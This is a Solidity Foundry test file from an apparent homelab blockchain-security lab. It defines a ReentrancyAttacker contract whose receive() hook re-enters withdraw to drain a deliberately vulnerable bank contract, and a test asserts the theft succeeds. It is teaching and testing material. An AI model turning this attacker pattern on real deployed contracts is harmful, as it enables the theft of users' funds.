my-homelab-configs/labs/blockchain/test/security/Reentrancy.t.sol

54 lines
1.5 KiB
Solidity

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
import {Test} from "forge-std/Test.sol";
import {VulnerableBank} from "../../src/security/VulnerableBank.sol";
contract ReentrancyAttacker {
VulnerableBank private immutable bank;
uint256 private immutable withdrawAmount;
uint256 public reentryCount;
constructor(VulnerableBank targetBank, uint256 targetWithdrawAmount) {
bank = targetBank;
withdrawAmount = targetWithdrawAmount;
}
function attack() external payable {
require(msg.value == withdrawAmount, "seed amount mismatch");
bank.deposit{value: msg.value}();
bank.withdraw(withdrawAmount);
}
receive() external payable {
if (address(bank).balance >= withdrawAmount && reentryCount < 3) {
reentryCount++;
bank.withdraw(withdrawAmount);
}
}
}
contract ReentrancyTest is Test {
VulnerableBank private bank;
ReentrancyAttacker private attacker;
address private victim = address(0xA11CE);
function setUp() public {
bank = new VulnerableBank();
attacker = new ReentrancyAttacker(bank, 1 ether);
vm.deal(victim, 5 ether);
vm.prank(victim);
bank.deposit{value: 5 ether}();
}
function testReentrancyDrainsMoreThanAttackerBalance() public {
attacker.attack{value: 1 ether}();
assertEq(attacker.reentryCount(), 3);
assertEq(address(attacker).balance, 4 ether);
assertEq(address(bank).balance, 2 ether);
}
}